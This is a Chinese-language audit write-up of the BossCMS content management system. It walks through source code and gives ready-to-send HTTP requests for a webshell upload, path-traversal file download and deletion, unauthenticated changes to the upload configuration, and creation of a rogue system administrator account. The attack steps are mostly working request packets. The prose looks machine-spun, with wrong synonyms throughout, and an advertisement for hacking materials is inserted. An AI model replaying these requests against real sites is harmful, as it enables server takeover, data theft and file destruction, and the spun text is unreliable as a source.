然后通过ueditor的附件上传即可上传php木马文件getshell
确定位置先随意找到上传点,然后抓包上传
修正后缀名发送后得到报错信息
{34;state":"该文件扩展名不许可上传!
"}
在这给大家整理了一些干系学习资料【点击查看】
黑客技能文档PDF学习书本全套工具包干系传授教化视频最新大厂口试题目及答案零根本学习思路方法
审计源码通过报错信息定位到源码在/system/basic/class/upload.class.php下
else为结果,那么在if处打上断点
上传php文件开始调试
创造两个条件都不知足
php后缀名不在$extension中!$type!=true也便是$type不为null第一个条件
首先办理第一个问题,在文件29行处可以看到$extension变量值得获取
那么全局搜索upload_extension,创造他在/system/admin/theme/default/safe.php中获取
根据路由规则进行访问
http://bosscms/admin/#safe
存在许可上传类型,那么直接添加.php然后保存,回到源码连续上传.php调试
可以看出这时候$extension数组中多了一个值即.php,成功知足第一个哀求
第二个条件
要让!$type!=true,也便是让$type=null即可,也便是实行到函数的35行
这里须要知足$ext(.php) 在 $arr 数组中,那么连续看$arr数组是从
$G['extension'][$t]中获取的
这里的$t值是photo,获取到的arr为
".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"
全局搜索得到system/basic/json/extension.json
在code键值中看到了我们想要上传的.php
以是的我们的$t该当为code,再回到upload.class.php
$t是遍历$arrary得到的,而$array是分割$type得到的,可以看到files函数调用时$type默认值是null,那么便是调用时指定code值
跟踪函数,定位到/system/extend/ueditor/php/ueditor.class.php中第246行,调用files函数并且指定了code值
成功办理了第二个条件
测试上传很明显漏洞存在于ueditor编辑器的附件上传处
选择PHP木马文件
上传成功
点击确认后右键打开新链接得到路径
成功getshell
后台任意文件下载
后台布局url可以进行任意文件下载
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
确定位置
定位到/system/admin/safe/backup.class.php
可以看到没有任何过滤,直接通过传值然后下载文件,get传参id值为文件名且可以穿越
审计源码全局搜索call_user_func,末了在/system/basic/class/into.class.php的load_class函数中找到可以利用的方法load_class
然后便是找调用链
在/admin/index.php开始
再到/system/enter.php
/system/basic/class/into.class.php
在实行load_class函数,存在func值成功调用download方法
$mold和$part用来拼接文件然后包含一次,然后new 一个$part工具然后检讨是工具中是否存在$func函数,存在即调用
以是可以布局url
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php
在load_class方法打上断点然后访问
成功调用download,参数获取精确
下载文件成功
且此CMS的数据库信息写在固定文件/system/basic/ini/mysql.ini.php
可以合营进行敏感信息透露
后台任意文件删除确定位置
定位到/system/admin/safe/backup.class.php
还是没有任何过滤,get传参id值为文件名然后调用delete进行删除
利用之前的利用链,先在站点根目录新建test.txt
然后根据规则(post:url,get:id)布局要求包
/system/admin/safe/backup.class.php文件中的delete方法
POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1Host: bosscmsContent-Length: 135Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://bosscmsContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4XnhUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://bosscms/admin/?mold=safe&part=backup&func=tableAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryYe2EcUgaamtd4XnhContent-Disposition: form-data; name="url"1------WebKitFormBoundaryYe2EcUgaamtd4Xnh--
成功删除文件
未授权扩大危害
未授权任意文件下载和删除
对用户是否登录的验证在system/basic/class/admin.class.php文件init函数中
当判断未登录时通过header进行页面跳转,但是没有exit()或者die()终止程序运行
以是还是能够得到自己的结果后才跳转(这一点可以在BP中表示)
在未登录状态下
先实行删除,成功实行得到结果
任意文件下载也是同理,在BP中即可看到跳转前结果
未授权任意文件上传通过未授权将之前后台任意文件上传攻击面扩大
文件上传未授权
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1Host: bosscmsContent-Length: 200Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://bosscmsContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryvwjLJGiYAdfklq31Content-Disposition: form-data; name="upfile"; filename="test.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundaryvwjLJGiYAdfklq31--
修正上传配置点未授权
找到可利用的函数/system/admin/safe/safe.class.php文件中的add函数,参数可控
还是之间的链,根据代码布局要求,在post要求中upload_extension数组里添加.php键值
POST /admin/?mold=safe&part=safe&func=add HTTP/1.1Host: bosscmsContent-Length: 987Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://bosscmsContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="admin_folder"admin------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="admin_login_captcha"1------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="admin_logout_time"28888------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="page_cache_time"0------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="upload_rename"1------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="upload_maxsize"2------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="upload_extension"[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]------WebKitFormBoundaryLNKwhkxPkcJiHO5IContent-Disposition: form-data; name="ueditor_catchimage"0------WebKitFormBoundaryLNKwhkxPkcJiHO5I--
成功未授权修正配置
修正配置之后可以未授权任意文件上传了
成功访问实行
未授权用户操作
用户操作相对付来说也算敏感操作,就顺带写了
确定位置
定位到/system/admin/manager/manager.class.php
个中的add,edit,delete三个函数参数都是由要求得到的(可控的)
根据规则布局要求表,以下为关键点
mold=manager&part=manager&func=add /system/admin/manager/manager.class.php中的add函数POST传参username-用户名password-密码password-确认密码level-权限 (2为系统管理员)
要求包
POST /admin/?mold=manager&part=manager&func=add HTTP/1.1Host: bosscmsContent-Length: 1959Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://bosscmsContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4GyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://bosscms/admin/?mold=manager&part=manager&func=editAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="username"123------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="password"123------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="passwords"123------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="level"2------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="department"------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="open"1------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="permit1"------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="permit2"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="permit3"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="permit4"------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="image"------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="alias"------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="email"------WebKitFormBoundaryB067fgIWBKtHI4GyContent-Disposition: form-data; name="phone"------WebKitFormBoundaryB067fgIWBKtHI4Gy--
成功添加管理员用户
成功登录,且为管理员权限
后记
都是一些大略常见的漏洞点,紧张还是一个跳转之后未及时结束程序导致访问掌握体系崩塌,后台变前台